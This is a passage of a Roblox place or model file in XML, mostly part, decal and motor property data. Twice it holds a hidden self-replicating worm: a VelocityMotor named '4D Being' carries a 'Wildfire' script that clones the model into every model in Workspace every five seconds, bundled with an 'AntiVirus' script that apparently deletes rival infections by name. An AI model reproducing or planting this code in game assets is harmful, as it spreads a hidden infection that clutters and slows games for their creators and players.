					<R12>-1</R12>
					<R20>1</R20>
					<R21>2.80142813e-005</R21>
					<R22>2.20517859e-006</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00255716615</X>
					<Y>5.77039573e-005</Y>
					<Z>0.00771792</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00351274456</X>
					<Y>0.0017358968</Y>
					<Z>-0.00158532255</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>3</X>
					<Y>3.60000014</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1189">
				<Properties>
					<token name="Face">5</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=14052587</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1190">
				<Properties>
					<token name="Face">0</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=14052587</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1191">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=14052587</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1192">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=14052587</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX1193">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX1194">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">21</int>
					<CoordinateFrame name="CFrame">
						<X>233.5</X>
						<Y>4</Y>
						<Z>250</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>13</X>
						<Y>7.20000029</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX1195">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">21</int>
					<CoordinateFrame name="CFrame">
						<X>233.5</X>
						<Y>1.60000002</Y>
						<Z>247</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>9</X>
						<Y>2.4000001</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX1196">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">21</int>
					<CoordinateFrame name="CFrame">
						<X>228</X>
						<Y>2.79999995</Y>
						<Z>247</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>4.80000019</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX1197">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">21</int>
					<CoordinateFrame name="CFrame">
						<X>239</X>
						<Y>2.79999995</Y>
						<Z>247</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>4.80000019</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="VelocityMotor" referent="RBX1198">
				<Properties>
					<CoordinateFrame name="C0">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<CoordinateFrame name="C1">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<float name="CurrentAngle">0</float>
					<float name="DesiredAngle">0</float>
					<Ref name="Hole">null</Ref>
					<float name="MaxVelocity">0</float>
					<string name="Name">4D Being</string>
					<Ref name="Part0">null</Ref>
					<Ref name="Part1">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX1199">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">l = Instance.new(&quot;VelocityMotor&quot;)
l.Parent = script.Parent
l.Name = &quot;4D Being&quot;
script.Parent = l
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX1200">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">4D Being</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX1201">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wildfire</string>
								<string name="Source">function dive()


p= game.Workspace:GetChildren()	


for i= 1, #p do				


if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;4D Being&quot;) == nil then


script.Parent.Parent:clone().Parent = p[i]


end


end


end





while true do


wait(5)


dive()


end


</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX1202">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">AntiVirus</string>
								<string name="Source">maliciousscripts = {&quot;Infected&quot;, &quot;Anti-Lag&quot;}
maliciousobjects = {&quot;OHAI&quot;, &quot;No samurai plzzz&quot;, &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;, &quot;IMDOINGITOKSODONTKILLMENOW&quot;}
maliciousclasses = {&quot;Geometry&quot;, &quot;Timer&quot;}
hiddenclasses = {&quot;AutoJoint&quot;, &quot;BackpackItem&quot;, &quot;Feature&quot;, &quot;Glue&quot;, &quot;HtmlWindow&quot;, &quot;JointInstance&quot;, &quot;LocalBackpack&quot;, &quot;LocalBackpackItem&quot;, &quot;MotorFeature&quot;, &quot;Mouse&quot;, &quot;Rotate&quot;, &quot;RotateP&quot;, &quot;RotateV&quot;, &quot;Snap&quot;, &quot;StockSound&quot;, &quot;VelocityMotor&quot;, &quot;Weld&quot;}

--set these three variables to your liking
local printAll = false
local fullscan = true
local doublescan = false
--set these three variables to your liking

--Type &quot;ScanForViruses(model,0,true)&quot; to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type &quot;ScanForViruses(model,0,false)&quot; to reveal all scripts.

function getAncestry(i)
	local s = &quot;&quot;
	local p = i.Parent
	s = p.Name
	while p ~= game do
		p = p.Parent
		s = p.Name..&quot;.&quot;..s
	end
	return s
end

function Check(i,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if i == nil then return end
	if printAll then print(s..&quot;Checking &quot;..i.Name) end
	if i == script then return end --don&apos;t need to check self, will still check children of self
	if i.className == &quot;Script&quot; then
		for x = 1, #maliciousscripts do
			if i.Name == maliciousscripts[x] then
--				print(&quot;Malicious script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --&quot;Infected&quot; scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
--			print(&quot;Script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;)
		end
	end
	for x = 1, #maliciousobjects do
		if i.Name == maliciousobjects[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --Unlikely that people will give a legitimate object a name used on the malicious object list
			i:Remove()
			return
		end
	end
	for x = 1, #maliciousclasses do
		if i.className == maliciousclasses[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --unlikely to be useful, likely to be malicious and removed
			i:Remove()
			return
		end
	end
	for x = 1, #hiddenclasses do
		if (hiddenclasses[x] == &quot;Rotate&quot; or hiddenclasses[x] == &quot;Weld&quot; or hiddenclasses[x] == &quot;Snap&quot; or hiddenclasses[x] == &quot;Glue&quot; or hiddenclasses[x] == &quot;Motor&quot; or hiddenclasses[x] == &quot;AutoJoint&quot; or hiddenclasses[x] == &quot;JointInstance&quot; or hiddenclasses[x] == &quot;MotorFeature&quot; or hiddenclasses[x] == &quot;VelocityMotor&quot;) and i.Parent == game.JointsService then
			--do not notify of these
		else
			if i.className == hiddenclasses[x] then
--				print(&quot;Hidden object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --not necessarily malicious, but may be. Remove only if you didn&apos;t except the object to be in there
			end
		end
	end
end

_G[&quot;ScanForViruses&quot;] = function(m,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if m == nil then return end
	if m == game.Stats then return end
	if m.Name == &quot;GuiRoot&quot; and m.Parent == game then return end
	if printAll then print(s..&quot;Scanning children of &quot;..m.Name) end
	local c = m:getChildren()
	if #c &gt; 0 then
		for i = 1,#c do
			Check(c[i],n+1,w)
			if (c[i] == game.Workspace) then
				ScanForViruses(c[i],n+1,true)
			else
				ScanForViruses(c[i],n+1,w)
			end
		end
	end
end

ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild(&quot;Teams&quot;),1,true)
ScanForViruses(game.Soundscape,1,true)

--print(&quot;QuickScan Complete&quot;)

if fullscan then wait(5) ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)

if doublescan then ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1203">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>234.5</X>
					<Y>5.20000029</Y>
					<Z>226</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0.5</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>9</X>
					<Y>7.20000029</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="VelocityMotor" referent="RBX1204">
			<Properties>
				<CoordinateFrame name="C0">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<CoordinateFrame name="C1">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<float name="CurrentAngle">0</float>
				<float name="DesiredAngle">0</float>
				<Ref name="Hole">null</Ref>
				<float name="MaxVelocity">0</float>
				<string name="Name">4D Being</string>
				<Ref name="Part0">null</Ref>
				<Ref name="Part1">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Script" referent="RBX1205">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">l = Instance.new(&quot;VelocityMotor&quot;)
l.Parent = script.Parent
l.Name = &quot;4D Being&quot;
script.Parent = l
</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX1206">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">4D Being</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX1207">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Wildfire</string>
							<string name="Source">function dive()


p= game.Workspace:GetChildren()	


for i= 1, #p do				


if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;4D Being&quot;) == nil then


script.Parent.Parent:clone().Parent = p[i]


end


end


end





while true do


wait(5)


dive()


end


</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1208">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">AntiVirus</string>
							<string name="Source">maliciousscripts = {&quot;Infected&quot;, &quot;Anti-Lag&quot;}
maliciousobjects = {&quot;OHAI&quot;, &quot;No samurai plzzz&quot;, &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;, &quot;IMDOINGITOKSODONTKILLMENOW&quot;}
maliciousclasses = {&quot;Geometry&quot;, &quot;Timer&quot;}
hiddenclasses = {&quot;AutoJoint&quot;, &quot;BackpackItem&quot;, &quot;Feature&quot;, &quot;Glue&quot;, &quot;HtmlWindow&quot;, &quot;JointInstance&quot;, &quot;LocalBackpack&quot;, &quot;LocalBackpackItem&quot;, &quot;MotorFeature&quot;, &quot;Mouse&quot;, &quot;Rotate&quot;, &quot;RotateP&quot;, &quot;RotateV&quot;, &quot;Snap&quot;, &quot;StockSound&quot;, &quot;VelocityMotor&quot;, &quot;Weld&quot;}

--set these three variables to your liking
local printAll = false
local fullscan = true
local doublescan = false
--set these three variables to your liking

--Type &quot;ScanForViruses(model,0,true)&quot; to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type &quot;ScanForViruses(model,0,false)&quot; to reveal all scripts.

function getAncestry(i)
	local s = &quot;&quot;
	local p = i.Parent
	s = p.Name
	while p ~= game do
		p = p.Parent
		s = p.Name..&quot;.&quot;..s
	end
	return s
end

function Check(i,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if i == nil then return end
	if printAll then print(s..&quot;Checking &quot;..i.Name) end
	if i == script then return end --don&apos;t need to check self, will still check children of self
	if i.className == &quot;Script&quot; then
		for x = 1, #maliciousscripts do
			if i.Name == maliciousscripts[x] then
--				print(&quot;Malicious script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --&quot;Infected&quot; scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
--			print(&quot;Script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;)
		end
	end
	for x = 1, #maliciousobjects do
		if i.Name == maliciousobjects[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --Unlikely that people will give a legitimate object a name used on the malicious object list
			i:Remove()
			return
		end
	end
	for x = 1, #maliciousclasses do
		if i.className == maliciousclasses[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --unlikely to be useful, likely to be malicious and removed
			i:Remove()
			return
		end
	end
	for x = 1, #hiddenclasses do
		if (hiddenclasses[x] == &quot;Rotate&quot; or hiddenclasses[x] == &quot;Weld&quot; or hiddenclasses[x] == &quot;Snap&quot; or hiddenclasses[x] == &quot;Glue&quot; or hiddenclasses[x] == &quot;Motor&quot; or hiddenclasses[x] == &quot;AutoJoint&quot; or hiddenclasses[x] == &quot;JointInstance&quot; or hiddenclasses[x] == &quot;MotorFeature&quot; or hiddenclasses[x] == &quot;VelocityMotor&quot;) and i.Parent == game.JointsService then
			--do not notify of these
		else
			if i.className == hiddenclasses[x] then
--				print(&quot;Hidden object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --not necessarily malicious, but may be. Remove only if you didn&apos;t except the object to be in there
			end
		end
	end
end

_G[&quot;ScanForViruses&quot;] = function(m,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if m == nil then return end
	if m == game.Stats then return end
	if m.Name == &quot;GuiRoot&quot; and m.Parent == game then return end
	if printAll then print(s..&quot;Scanning children of &quot;..m.Name) end
	local c = m:getChildren()
	if #c &gt; 0 then
		for i = 1,#c do
			Check(c[i],n+1,w)
			if (c[i] == game.Workspace) then
				ScanForViruses(c[i],n+1,true)
			else
				ScanForViruses(c[i],n+1,w)
			end
		end
	end
end

ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild(&quot;Teams&quot;),1,true)
ScanForViruses(game.Soundscape,1,true)

--print(&quot;QuickScan Complete&quot;)

if fullscan then wait(5) ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)

if doublescan then ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="TrussPart" referent="RBX1209">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">192</int>
				<CoordinateFrame name="CFrame">
					<X>-33</X>
					<Y>37.8000031</Y>
					<Z>-60</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>10</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX1210">
			<Properties>
